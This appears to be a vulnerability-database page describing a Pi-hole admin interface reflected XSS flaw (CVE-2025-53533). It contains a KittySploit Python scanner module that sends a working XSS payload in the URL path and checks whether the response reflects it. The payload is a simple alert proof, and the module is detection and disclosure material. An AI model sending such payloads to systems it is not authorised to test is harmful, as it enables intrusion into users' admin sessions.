Lucene search
+L

Pi-hole Reflected XSS in 404-Error Page Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 17 Views

Reflected XSS in Pi-hole Admin Interface 404 error page via unsanitized URL path.

Related
Refs
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Pi-hole Code Execution
23 Jan 202600:00
–bdu_fstec
githubexploit
GithubExploit
Exploit for CVE-2025-53533
26 Oct 202512:05
–githubexploit
circl
Circl
CVE-2025-53533
26 Oct 202511:05
–circl
cnnvd
CNNVD
Pi-hole Web Interface Cross-Site Script Vulnerability
27 Oct 202500:00
–cnnvd
cve
CVE
CVE-2025-53533
27 Oct 202519:06
–cve
cvelist
Cvelist
CVE-2025-53533 Pi-hole Admin Interface vulnerable to cross-site scripting via malformed URL path on 404 error page
27 Oct 202519:06
–cvelist
euvd
EUVD
EUVD-2025-36367
27 Oct 202519:06
–euvd
kitploit
Kitploit
Pi-hole-XSS-CVE-2025-53533
31 Oct 202605:53
–kitploit
mend
Mend
CVE-2025-53533
27 Oct 202519:06
–mend
nuclei
Nuclei
Pi-hole Reflected XSS in 404-Error Page
4 Nov 202602:04
–nuclei
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Pi-hole Admin Interface <= 6."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Pi-hole Reflected XSS in 404-Error Page Detection',
        'description': 'Pi-hole Admin Interface <= 6.2.1 contains a reflected XSS vulnerability on the 404 error page. The URL path is reflected unsanitized into the `class` attribute of the `body` tag, allowing attribute injection via a crafted URL to execute arbitrary JavaScript in victim browsers.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2025', 'pihole', 'xss'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://github.com/pi-hole/web/security/advisories/GHSA-w8f8-92rx-4f6w',
            'https://nvd.nist.gov/vuln/detail/CVE-2025-53533',
        ],
        'cve': 'CVE-2025-53533',
    }

    def run(self):
        r = self.http_request(method="GET", path='/"onload=alert(document.domain);>', allow_redirects=False)
        if not r or r.status_code != 404:
            return False
        body = r.text or ""
        body_any = ('"onload=alert(document.domain);>">', 'pi-hole',)
        if (any(m in body for m in body_any)):
            self.set_info(
                severity='medium',
                reason="Pi-hole Reflected XSS in 404-Error Page detected",
                path='/"onload=alert(document.domain);>',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
7.2High risk
Vulners AI Score7.2
CVSS 3.16.1
CVSS 45.1
EPSS0.00591
SSVC
17